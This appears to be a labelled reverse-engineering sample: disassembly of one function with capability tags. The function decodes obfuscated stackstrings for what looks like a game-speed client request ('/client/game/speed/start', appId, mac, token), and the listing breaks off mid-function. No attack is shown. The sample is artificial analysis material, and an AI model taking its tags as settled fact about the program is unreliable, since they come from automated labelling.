Function at 0x1003ecb0
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor
Parse pe header

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100d3943
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x1920
call fcn.100963a0
mov eax, dword [0x10105230]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x105c], ecx
mov esi, dword [ebx + 0x10]
lea ecx, [ebp - 0x1c]
xor edi, edi
mov dword [ebp - 0x1060], esi
push edi
mov dword [ebp - 0x1054], edi
push 0x5f
mov dword [ebp - 0x1050], edi
mov byte [ebp - 0x1c], 0x71
call fcn.10048a10
mov byte [ebp - 0x1b], al
mov byte [ebp - 0x1a], 0
push edi
lea ecx, [ebp - 0x1b]
mov dword [ebp - 4], edi
call fcn.1000d870
push edi
lea ecx, [ebp - 0x1c]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push edi
lea ecx, [ebp - 0x19]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
push 1
mov byte [eax], cl
lea ecx, [ebp - 0x19]
call fcn.1000d870
lea ecx, [ebp - 0x19]
mov byte [eax], 0
call fcn.1000d860
push eax
lea ecx, [ebp - 0xb68]
call fcn.1000ae30
push esi
lea ecx, [ebp - 0xb80]
mov byte [ebp - 4], 1
call fcn.1000ae30
lea eax, [ebp - 0xb68]
mov byte [ebp - 4], 2
push eax
lea edx, [ebp - 0xb80]
lea ecx, [ebp - 0x1264]
call fcn.10010530
add esp, 4
lea ecx, [ebp - 0xb80]
call fcn.10003210
lea ecx, [ebp - 0xb68]
call fcn.10003210
lea ecx, [ebp - 0x1b]
mov byte [ebp - 4], 6
xor esi, esi
call fcn.1000d860
lea ecx, [ebp - 0x1264]
mov word [eax], si
call fcn.10048fb0
cmp eax, 2
jae 0x1003ef74
push 1
lea ecx, [ebp - 0x1880]
call fcn.100045c0
mov edx, str._TID:
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x1870]
call fcn.10006770
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
mov ecx, esi
call fcn.1001ec80
mov edx, 0x100ec450
mov ecx, eax
call fcn.10006770
push 0
push 0x69
lea ecx, [ebp - 0x478]
mov byte [ebp - 0x478], 0x33
mov edi, eax
call fcn.10048a10
push 1
push 0x70
lea ecx, [ebp - 0x478]
mov byte [ebp - 0x477], al
call fcn.10048a10
push 2
push 0x73
lea ecx, [ebp - 0x478]
mov byte [ebp - 0x476], al
call fcn.10048a10
push 3
push 0x20
lea ecx, [ebp - 0x478]
mov byte [ebp - 0x475], al
call fcn.10048a10
push 4
push 0x65
lea ecx, [ebp - 0x478]
mov byte [ebp - 0x474], al
call fcn.10048a10
push 5
push 0x72
lea ecx, [ebp - 0x478]
mov byte [ebp - 0x473], al
call fcn.10048a10
push 6
push 0x72
lea ecx, [ebp - 0x478]
mov byte [ebp - 0x472], al
call fcn.10048a10
push 7
push 0x6f
lea ecx, [ebp - 0x478]
mov byte [ebp - 0x471], al
call fcn.10048a10
push 8
push 0x72
lea ecx, [ebp - 0x478]
mov byte [ebp - 0x470], al
call fcn.10048a10
push 9
push 0x20
lea ecx, [ebp - 0x478]
mov byte [ebp - 0x46f], al
call fcn.10048a10
push 0xa
push 0x3a
lea ecx, [ebp - 0x478]
mov byte [ebp - 0x46e], al
call fcn.10048a10
push 0xb
push 0x20
lea ecx, [ebp - 0x478]
mov byte [ebp - 0x46d], al
call fcn.10048a10
mov byte [ebp - 0x46c], al
mov byte [ebp - 0x46b], 0
mov byte [ebp - 4], 8
xor esi, esi
push esi
lea ecx, [ebp - 0x477]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x478]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x46a]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 0xc
jae 0x10048818
jmp 0x1003ef32
push 0
push 0x63
lea ecx, [ebp - 0x24]
mov byte [ebp - 0x24], 0x2a
call fcn.10048a10
push 1
push 0x63
lea ecx, [ebp - 0x24]
mov byte [ebp - 0x23], al
call fcn.10048a10
mov byte [ebp - 0x22], al
mov byte [ebp - 0x21], 0
mov byte [ebp - 4], 0xa
xor esi, esi
push esi
lea ecx, [ebp - 0x23]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x24]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x20]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 2
jb 0x1003efa0
push 2
lea ecx, [ebp - 0x20]
call fcn.1000d870
lea ecx, [ebp - 0x20]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x10d8], eax
lea ecx, [ebp - 0x15a0]
lea eax, [ebp - 0x10d8]
push eax
call fcn.1004b170
mov eax, dword [ebp - 0x105c]
lea ecx, [ebp - 0x1588]
add eax, 0xd8
mov byte [ebp - 4], 0xb
push eax
mov dword [ebp - 0x108c], eax
call fcn.1004b1f0
lea eax, [ebp - 0x1570]
mov byte [ebp - 4], 0xc
push eax
lea eax, [ebp - 0x15a0]
push eax
lea ecx, [ebp - 0x14d8]
call fcn.10048f70
lea ecx, [ebp - 0xf58]
push dword [eax + 4]
push dword [eax]
call fcn.10048f40
push 0
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0xd4]
push 0x61
mov byte [ebp - 0xd4], 0x40
call fcn.10048a10
push 1
push 0x70
lea ecx, [ebp - 0xd4]
mov byte [ebp - 0xd3], al
call fcn.10048a10
push 2
push 0x70
lea ecx, [ebp - 0xd4]
mov byte [ebp - 0xd2], al
call fcn.10048a10
push 3
push 0x49
lea ecx, [ebp - 0xd4]
mov byte [ebp - 0xd1], al
call fcn.10048a10
push 4
push 0x64
lea ecx, [ebp - 0xd4]
mov byte [ebp - 0xd0], al
call fcn.10048a10
mov byte [ebp - 0xcf], al
mov byte [ebp - 0xce], 0
mov byte [ebp - 4], 0xe
xor esi, esi
nop
push esi
lea ecx, [ebp - 0xd3]
call fcn.1000d870
push esi
lea ecx, [ebp - 0xd4]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0xcd]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 5
jb 0x1003f0d0
push 5
lea ecx, [ebp - 0xcd]
call fcn.1000d870
lea ecx, [ebp - 0xcd]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x10dc], eax
lea ecx, [ebp - 0x1570]
lea eax, [ebp - 0x10dc]
push eax
call fcn.1004b170
lea eax, [ebp - 0x10e0]
mov byte [ebp - 4], 0xf
push eax
lea ecx, [ebp - 0x1558]
mov dword [ebp - 0x10e0], 3
call fcn.1004b300
lea eax, [ebp - 0x1540]
mov byte [ebp - 4], 0x10
push eax
lea eax, [ebp - 0x1570]
push eax
lea ecx, [ebp - 0x1508]
call fcn.10048f70
lea ecx, [ebp - 0xf40]
push dword [eax + 4]
push dword [eax]
call fcn.10048f40
push 0
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x50]
push 0x6d
mov byte [ebp - 0x50], 0x1d
call fcn.10048a10
push 1
push 0x61
lea ecx, [ebp - 0x50]
mov byte [ebp - 0x4f], al
call fcn.10048a10
push 2
push 0x63
lea ecx, [ebp - 0x50]
mov byte [ebp - 0x4e], al
call fcn.10048a10
mov byte [ebp - 0x4d], al
mov byte [ebp - 0x4c], 0
mov byte [ebp - 4], 0x12
xor esi, esi
nop dword [eax + eax]
push esi
lea ecx, [ebp - 0x4f]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x50]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x4b]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 3
jb 0x1003f1d0
push 3
lea ecx, [ebp - 0x4b]
call fcn.1000d870
lea ecx, [ebp - 0x4b]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x10e4], eax
lea ecx, [ebp - 0x1540]
lea eax, [ebp - 0x10e4]
push eax
call fcn.1004b170
lea eax, [ebp - 0x10e8]
mov byte [ebp - 4], 0x13
push eax
lea ecx, [ebp - 0x1528]
mov dword [ebp - 0x10e8], str.00_00_00_00_00_00
call fcn.1004b170
lea eax, [ebp - 0x1510]
mov byte [ebp - 4], 0x14
push eax
lea eax, [ebp - 0x1540]
push eax
lea ecx, [ebp - 0x14c0]
call fcn.10048f70
lea ecx, [ebp - 0xf28]
push dword [eax + 4]
push dword [eax]
call fcn.10048f40
push 0
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x15c]
push 0x67
mov byte [ebp - 0x15c], 0x1b
call fcn.10048a10
push 1
push 0x61
lea ecx, [ebp - 0x15c]
mov byte [ebp - 0x15b], al
call fcn.10048a10
push 2
push 0x6d
lea ecx, [ebp - 0x15c]
mov byte [ebp - 0x15a], al
call fcn.10048a10
push 3
push 0x65
lea ecx, [ebp - 0x15c]
mov byte [ebp - 0x159], al
call fcn.10048a10
push 4
push 0x49
lea ecx, [ebp - 0x15c]
mov byte [ebp - 0x158], al
call fcn.10048a10
push 5
push 0x64
lea ecx, [ebp - 0x15c]
mov byte [ebp - 0x157], al
call fcn.10048a10
mov byte [ebp - 0x156], al
mov byte [ebp - 0x155], 0
mov byte [ebp - 4], 0x16
xor esi, esi
push esi
lea ecx, [ebp - 0x15b]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x15c]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x154]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 6
jb 0x1003f313
push 6
lea ecx, [ebp - 0x154]
call fcn.1000d870
lea ecx, [ebp - 0x154]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x10ec], eax
lea ecx, [ebp - 0x17b0]
lea eax, [ebp - 0x10ec]
push eax
call fcn.1004b170
lea eax, [ebx + 8]
mov byte [ebp - 4], 0x17
push eax
lea ecx, [ebp - 0x1798]
call fcn.1004b300
lea eax, [ebp - 0x1780]
mov byte [ebp - 4], 0x18
push eax
lea eax, [ebp - 0x17b0]
push eax
lea ecx, [ebp - 0x14c8]
call fcn.10048f70
lea ecx, [ebp - 0xf10]
push dword [eax + 4]
push dword [eax]
call fcn.10048f40
push 0
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x5c]
push 0x6c
mov byte [ebp - 0x5c], 0x24
call fcn.10048a10
push 1
push 0x73
lea ecx, [ebp - 0x5c]
mov byte [ebp - 0x5b], al
call fcn.10048a10
push 2
push 0x49
lea ecx, [ebp - 0x5c]
mov byte [ebp - 0x5a], al
call fcn.10048a10
push 3
push 0x64
lea ecx, [ebp - 0x5c]
mov byte [ebp - 0x59], al
call fcn.10048a10
mov byte [ebp - 0x58], al
mov byte [ebp - 0x57], 0
mov byte [ebp - 4], 0x1a
xor esi, esi
push esi
lea ecx, [ebp - 0x5b]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x5c]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x56]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 4
jb 0x1003f410
push 4
lea ecx, [ebp - 0x56]
call fcn.1000d870
lea ecx, [ebp - 0x56]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x10f0], eax
lea ecx, [ebp - 0x16c0]
lea eax, [ebp - 0x10f0]
push eax
call fcn.1004b170
lea eax, [ebx + 0xc]
mov byte [ebp - 4], 0x1b
push eax
lea ecx, [ebp - 0x16a8]
call fcn.1004b300
lea eax, [ebp - 0x1690]
mov byte [ebp - 4], 0x1c
push eax
lea eax, [ebp - 0x16c0]
push eax
lea ecx, [ebp - 0x14e0]
call fcn.10048f70
lea ecx, [ebp - 0xef8]
push dword [eax + 4]
push dword [eax]
call fcn.10048f40
push 0
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0xc4]
push 0x74
mov byte [ebp - 0xc4], 0x18
call fcn.10048a10
push 1
push 0x69
lea ecx, [ebp - 0xc4]
mov byte [ebp - 0xc3], al
call fcn.10048a10
push 2
push 0x70
lea ecx, [ebp - 0xc4]
mov byte [ebp - 0xc2], al
call fcn.10048a10
push 3
push 0x49
lea ecx, [ebp - 0xc4]
mov byte [ebp - 0xc1], al
call fcn.10048a10
push 4
push 0x64
lea ecx, [ebp - 0xc4]
mov byte [ebp - 0xc0], al
call fcn.10048a10
mov byte [ebp - 0xbf], al
mov byte [ebp - 0xbe], 0
mov byte [ebp - 4], 0x1e
xor esi, esi
push esi
lea ecx, [ebp - 0xc3]
call fcn.1000d870
push esi
lea ecx, [ebp - 0xc4]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0xbd]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 5
jb 0x1003f531
push 5
lea ecx, [ebp - 0xbd]
call fcn.1000d870
lea ecx, [ebp - 0xbd]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x10f4], eax
lea ecx, [ebp - 0x1750]
lea eax, [ebp - 0x10f4]
push eax
call fcn.1004b170
push 0
lea ecx, [ebp - 0x1264]
mov byte [ebp - 4], 0x1f
call fcn.10048f90
mov ecx, eax
call fcn.10008f50
push eax
call fcn.100a9544
add esp, 4
mov dword [ebp - 0x10f8], eax
lea eax, [ebp - 0x10f8]
lea ecx, [ebp - 0x1738]
push eax
call fcn.1004b300
lea eax, [ebp - 0x1720]
mov byte [ebp - 4], 0x20
push eax
lea eax, [ebp - 0x1750]
push eax
lea ecx, [ebp - 0x14d0]
call fcn.10048f70
lea ecx, [ebp - 0xee0]
push dword [eax + 4]
push dword [eax]
call fcn.10048f40
push 0
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0xb4]
push 0x64
mov byte [ebp - 0xb4], 0x34
call fcn.10048a10
push 1
push 0x69
lea ecx, [ebp - 0xb4]
mov byte [ebp - 0xb3], al
call fcn.10048a10
push 2
push 0x70
lea ecx, [ebp - 0xb4]
mov byte [ebp - 0xb2], al
call fcn.10048a10
push 3
push 0x49
lea ecx, [ebp - 0xb4]
mov byte [ebp - 0xb1], al
call fcn.10048a10
push 4
push 0x64
lea ecx, [ebp - 0xb4]
mov byte [ebp - 0xb0], al
call fcn.10048a10
mov byte [ebp - 0xaf], al
mov byte [ebp - 0xae], 0
mov byte [ebp - 4], 0x22
xor esi, esi
nop word [eax + eax]
push esi
lea ecx, [ebp - 0xb3]
call fcn.1000d870
push esi
lea ecx, [ebp - 0xb4]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0xad]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 5
jb 0x1003f690
push 5
lea ecx, [ebp - 0xad]
call fcn.1000d870
lea ecx, [ebp - 0xad]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x10fc], eax
lea ecx, [ebp - 0x1720]
lea eax, [ebp - 0x10fc]
push eax
call fcn.1004b170
push 1
lea ecx, [ebp - 0x1264]
mov byte [ebp - 4], 0x23
call fcn.10048f90
mov ecx, eax
call fcn.10008f50
push eax
call fcn.100a9544
add esp, 4
mov dword [ebp - 0x1100], eax
lea eax, [ebp - 0x1100]
lea ecx, [ebp - 0x1708]
push eax
call fcn.1004b300
lea eax, [ebp - 0x16f0]
mov byte [ebp - 4], 0x24
push eax
lea eax, [ebp - 0x1720]
push eax
lea ecx, [ebp - 0x14e8]
call fcn.10048f70
lea ecx, [ebp - 0xec8]
push dword [eax + 4]
push dword [eax]
call fcn.10048f40
push 0
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0xa4]
push 0x74
mov byte [ebp - 0xa4], 7
call fcn.10048a10
push 1
push 0x6f
lea ecx, [ebp - 0xa4]
mov byte [ebp - 0xa3], al
call fcn.10048a10
push 2
push 0x6b
lea ecx, [ebp - 0xa4]
mov byte [ebp - 0xa2], al
call fcn.10048a10
push 3
push 0x65
lea ecx, [ebp - 0xa4]
mov byte [ebp - 0xa1], al
call fcn.10048a10
push 4
push 0x6e
lea ecx, [ebp - 0xa4]
mov byte [ebp - 0xa0], al
call fcn.10048a10
mov byte [ebp - 0x9f], al
mov byte [ebp - 0x9e], 0
mov byte [ebp - 4], 0x26
xor esi, esi
nop word [eax + eax]
push esi
lea ecx, [ebp - 0xa3]
call fcn.1000d870
push esi
lea ecx, [ebp - 0xa4]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x9d]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 5
jb 0x1003f7f0
push 5
lea ecx, [ebp - 0x9d]
call fcn.1000d870
lea ecx, [ebp - 0x9d]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x1104], eax
lea ecx, [ebp - 0x16f0]
lea eax, [ebp - 0x1104]
push eax
call fcn.1004b170
mov ecx, dword [ebp - 0x105c]
lea eax, [ebp - 0xd00]
push eax
mov byte [ebp - 4], 0x27
call fcn.100381f0
push eax
lea ecx, [ebp - 0x16d8]
mov byte [ebp - 4], 0x28
call fcn.1004a8c0
lea eax, [ebp - 0x16c0]
mov byte [ebp - 4], 0x2a
push eax
lea eax, [ebp - 0x16f0]
push eax
lea ecx, [ebp - 0x1510]
call fcn.10048f70
lea ecx, [ebp - 0xeb0]
push dword [eax + 4]
push dword [eax]
call fcn.10048f40
lea eax, [ebp - 0xe98]
mov byte [ebp - 4], 0x3a
push eax
lea eax, [ebp - 0xf58]
push eax
lea ecx, [ebp - 0x14b8]
call fcn.10048f70
lea ecx, [ebp - 0x13b8]
push dword [eax + 4]
push dword [eax]
push 2
push 1
call fcn.100492b0
push 0x1003c3f0
push 8
push 0x18
lea eax, [ebp - 0xf58]
mov byte [ebp - 4], 0x3c
push eax
call fcn.100953e4
push 0x1003c3f0
push 2
push 0x18
lea eax, [ebp - 0x16f0]
mov byte [ebp - 4], 0x3d
push eax
call fcn.100953e4
lea ecx, [ebp - 0xd00]
call fcn.10003210
lea ecx, [ebp - 0xa3]
xor esi, esi
call fcn.1000d860
mov dword [eax], esi
mov word [eax + 4], si
push 0x1003c3f0
push 2
push 0x18
lea eax, [ebp - 0x1720]
mov byte [ebp - 4], 0x40
push eax
call fcn.100953e4
lea ecx, [ebp - 0xb3]
call fcn.1000d860
mov dword [eax], esi
mov word [eax + 4], si
push 0x1003c3f0
push 2
push 0x18
lea eax, [ebp - 0x1750]
mov byte [ebp - 4], 0x42
push eax
call fcn.100953e4
lea ecx, [ebp - 0xc3]
call fcn.1000d860
mov dword [eax], esi
mov word [eax + 4], si
push 0x1003c3f0
push 2
push 0x18
lea eax, [ebp - 0x16c0]
mov byte [ebp - 4], 0x44
push eax
call fcn.100953e4
lea ecx, [ebp - 0x5b]
call fcn.1000d860
mov dword [eax], esi
mov byte [eax + 4], 0
push 0x1003c3f0
push 2
push 0x18
lea eax, [ebp - 0x17b0]
mov byte [ebp - 4], 0x46
push eax
call fcn.100953e4
lea ecx, [ebp - 0x15b]
call fcn.1000d860
xor ecx, ecx
mov dword [eax], ecx
mov word [eax + 4], cx
mov byte [eax + 6], cl
push 0x1003c3f0
push 2
push 0x18
lea eax, [ebp - 0x1540]
mov byte [ebp - 4], 0x48
push eax
call fcn.100953e4
lea ecx, [ebp - 0x4f]
call fcn.1000d860
mov dword [eax], esi
push 0x1003c3f0
push 2
mov byte [ebp - 4], 0x4a
lea eax, [ebp - 0x1570]
push 0x18
push eax
call fcn.100953e4
lea ecx, [ebp - 0xd3]
call fcn.1000d860
mov dword [eax], esi
mov word [eax + 4], si
push 0x1003c3f0
push 2
push 0x18
lea eax, [ebp - 0x15a0]
mov byte [ebp - 4], 0x4c
push eax
call fcn.100953e4
lea ecx, [ebp - 0x23]
mov byte [ebp - 4], 0x4d
call fcn.1000d860
xor ecx, ecx
push ecx
push ecx
mov word [eax], cx
push 0x20
mov byte [eax + 2], cl
lea eax, [ebp - 0xd18]
push 0xffffffffffffffff
push eax
lea ecx, [ebp - 0x13b8]
call fcn.10048ff0
mov dword [ebp - 0x1058], eax
push esi
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0x88c]
push 0x2f
mov byte [ebp - 0x88c], 0x4c
call fcn.10048a10
push 1
push 0x63
lea ecx, [ebp - 0x88c]
mov byte [ebp - 0x88b], al
call fcn.10048a10
push 2
push 0x6c
lea ecx, [ebp - 0x88c]
mov byte [ebp - 0x88a], al
call fcn.10048a10
push 3
push 0x69
lea ecx, [ebp - 0x88c]
mov byte [ebp - 0x889], al
call fcn.10048a10
push 4
push 0x65
lea ecx, [ebp - 0x88c]
mov byte [ebp - 0x888], al
call fcn.10048a10
push 5
push 0x6e
lea ecx, [ebp - 0x88c]
mov byte [ebp - 0x887], al
call fcn.10048a10
push 6
push 0x74
lea ecx, [ebp - 0x88c]
mov byte [ebp - 0x886], al
call fcn.10048a10
push 7
push 0x2f
lea ecx, [ebp - 0x88c]
mov byte [ebp - 0x885], al
call fcn.10048a10
push 8
push 0x67
lea ecx, [ebp - 0x88c]
mov byte [ebp - 0x884], al
call fcn.10048a10
push 9
mov byte [ebp - 0x883], al
push 0x61
lea ecx, [ebp - 0x88c]
call fcn.10048a10
push 0xa
push 0x6d
lea ecx, [ebp - 0x88c]
mov byte [ebp - 0x882], al
call fcn.10048a10
push 0xb
push 0x65
lea ecx, [ebp - 0x88c]
mov byte [ebp - 0x881], al
call fcn.10048a10
push 0xc
push 0x2f
lea ecx, [ebp - 0x88c]
mov byte [ebp - 0x880], al
call fcn.10048a10
push 0xd
push 0x73
lea ecx, [ebp - 0x88c]
mov byte [ebp - 0x87f], al
call fcn.10048a10
push 0xe
push 0x70
lea ecx, [ebp - 0x88c]
mov byte [ebp - 0x87e], al
call fcn.10048a10
push 0xf
push 0x65
lea ecx, [ebp - 0x88c]
mov byte [ebp - 0x87d], al
call fcn.10048a10
push 0x10
push 0x65
lea ecx, [ebp - 0x88c]
mov byte [ebp - 0x87c], al
call fcn.10048a10
push 0x11
push 0x64
lea ecx, [ebp - 0x88c]
mov byte [ebp - 0x87b], al
call fcn.10048a10
push 0x12
push 0x2f
lea ecx, [ebp - 0x88c]
mov byte [ebp - 0x87a], al
call fcn.10048a10
push 0x13
push 0x73
lea ecx, [ebp - 0x88c]
mov byte [ebp - 0x879], al
call fcn.10048a10
push 0x14
push 0x74
lea ecx, [ebp - 0x88c]
mov byte [ebp - 0x878], al
call fcn.10048a10
push 0x15
push 0x61
lea ecx, [ebp - 0x88c]
mov byte [ebp - 0x877], al
call fcn.10048a10
push 0x16
push 0x72
lea ecx, [ebp - 0x88c]
mov byte [ebp - 0x876], al
call fcn.10048a10
push 0x17
push 0x74
lea ecx, [ebp - 0x88c]
mov byte [ebp - 0x875], al
call fcn.10048a10
mov byte [ebp - 0x874], al
mov byte [ebp - 0x873], 0
mov byte [ebp - 4], 0x4f
push esi
lea ecx, [ebp - 0x88b]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x88c]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x872]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 0x18
jb 0x1003fc82
push 0x18
lea ecx, [ebp - 0x872]
call fcn.1000d870
lea ecx, [ebp - 0x872]
mov byte [eax], 0
call fcn.1000d860
sub esp, 0x18
mov ecx, esp
push eax
call fcn.1000ae30
mov edx, dword [ebp - 0x1058]
lea ecx, [ebp - 0xc40]
push 1
call fcn.1005daa0
add esp, 0x1c
lea ecx, [ebp - 0x88b]
call fcn.1000d860
xorps xmm0, xmm0
movups xmmword [eax], xmm0
movq qword [eax + 0x10], xmm0
mov byte [eax + 0x18], 0
lea ecx, [ebp - 0xd18]
mov byte [ebp - 4], 0x52
call fcn.10003210
sub esp, 0x28
mov ecx, esp
push 0
call fcn.1005b8f0
push 0
push 1
lea edx, [ebp - 0xc40]
lea ecx, [ebp - 0x1078]
call fcn.1004ad00
add esp, 0x30
push 0
mov byte [ebp - 4], 0x53
lea ecx, [ebp - 0x408]
push 0x67
mov byte [ebp - 0x408], 0x49
call fcn.10048a10
push 1
push 0x61
lea ecx, [ebp - 0x408]
mov byte [ebp - 0x407], al
call fcn.10048a10
push 2
push 0x6d
lea ecx, [ebp - 0x408]
mov byte [ebp - 0x406], al
call fcn.10048a10
push 3
push 0x65
lea ecx, [ebp - 0x408]
mov byte [ebp - 0x405], al
call fcn.10048a10
push 4
push 0x44
lea ecx, [ebp - 0x408]
mov byte [ebp - 0x404], al
call fcn.10048a10
push 5
push 0x69
lea ecx, [ebp - 0x408]
mov byte [ebp - 0x403], al
call fcn.10048a10
push 6
push 0x79
lea ecx, [ebp - 0x408]
mov byte [ebp - 0x402], al
call fcn.10048a10
push 7
push 0x52
lea ecx, [ebp - 0x408]
mov byte [ebp - 0x401], al
call fcn.10048a10
mov byte [ebp - 0x400], al
push 8
push 0x75
lea ecx, [ebp - 0x408]
call fcn.10048a10
push 9
push 0x6c
lea ecx, [ebp - 0x408]
mov byte [ebp - 0x3ff], al
call fcn.10048a10
push 0xa
push 0x65
lea ecx, [ebp - 0x408]
mov byte [ebp - 0x3fe], al
call fcn.10048a10
mov byte [ebp - 0x3fd], al
mov byte [ebp - 0x3fc], 0
mov byte [ebp - 4], 0x54
xor esi, esi
nop word [eax + eax]
push esi
lea ecx, [ebp - 0x407]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x408]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x3fb]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 0xb
jb 0x1003fe50
push 0xb
lea ecx, [ebp - 0x3fb]
call fcn.1000d870
lea ecx, [ebp - 0x3fb]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x1108], eax
lea ecx, [ebp - 0x1078]
lea eax, [ebp - 0x1108]
push eax
lea eax, [ebp - 0x17d0]
push eax
call fcn.1004af50
mov esi, eax
lea ecx, [ebp - 0x1078]
lea eax, [ebp - 0x17c0]
push eax
call fcn.1005b030
push eax
mov ecx, esi
call fcn.1005add0
lea ecx, [ebp - 0x407]
mov byte [ebp - 0x1049], al
mov byte [ebp - 4], 0x53
call fcn.1000d860
cmp byte [ebp - 0x1049], 0
xorps xmm0, xmm0
movq qword [eax], xmm0
mov dword [eax + 8], 0
je 0x10040136
push 1
lea ecx, [ebp - 0x1930]
call fcn.100045c0
mov edx, str._TID:
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0x1920]
call fcn.10006770
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
mov ecx, esi
call fcn.1001ec80
mov edx, 0x100ec450
mov ecx, eax
call fcn.10006770
push 0
push 0x67
lea ecx, [ebp - 0x76c]
mov byte [ebp - 0x76c], 0x59
mov edi, eax
call fcn.10048a10
push 1
push 0x61
lea ecx, [ebp - 0x76c]
mov byte [ebp - 0x76b], al
call fcn.10048a10
push 2
push 0x6d
lea ecx, [ebp - 0x76c]
mov byte [ebp - 0x76a], al
call fcn.10048a10
push 3
push 0x65
lea ecx, [ebp - 0x76c]
mov byte [ebp - 0x769], al
call fcn.10048a10
push 4
push 0x20
lea ecx, [ebp - 0x76c]
mov byte [ebp - 0x768], al
call fcn.10048a10
push 5
push 0x52
lea ecx, [ebp - 0x76c]
mov byte [ebp - 0x767], al
call fcn.10048a10
push 6
push 0x75
lea ecx, [ebp - 0x76c]
mov byte [ebp - 0x766], al
call fcn.10048a10
push 7
push 0x6c
lea ecx, [ebp - 0x76c]
mov byte [ebp - 0x765], al
call fcn.10048a10
push 8
push 0x65
lea ecx, [ebp - 0x76c]
mov byte [ebp - 0x764], al
call fcn.10048a10
push 9
push 0x20
lea ecx, [ebp - 0x76c]
mov byte [ebp - 0x763], al
call fcn.10048a10
push 0xa
push 0x6e
lea ecx, [ebp - 0x76c]
mov byte [ebp - 0x762], al
call fcn.10048a10
push 0xb
push 0x6f
lea ecx, [ebp - 0x76c]
mov byte [ebp - 0x761], al
call fcn.10048a10
push 0xc
mov byte [ebp - 0x760], al
lea ecx, [ebp - 0x76c]
push 0x74
call fcn.10048a10
push 0xd
push 0x20
lea ecx, [ebp - 0x76c]
mov byte [ebp - 0x75f], al
call fcn.10048a10
push 0xe
push 0x65
lea ecx, [ebp - 0x76c]
mov byte [ebp - 0x75e], al
call fcn.10048a10
push 0xf
push 0x78
lea ecx, [ebp - 0x76c]
mov byte [ebp - 0x75d], al
call fcn.10048a10
push 0x10
push 0x69
lea ecx, [ebp - 0x76c]
mov byte [ebp - 0x75c], al
call fcn.10048a10
push 0x11
push 0x73
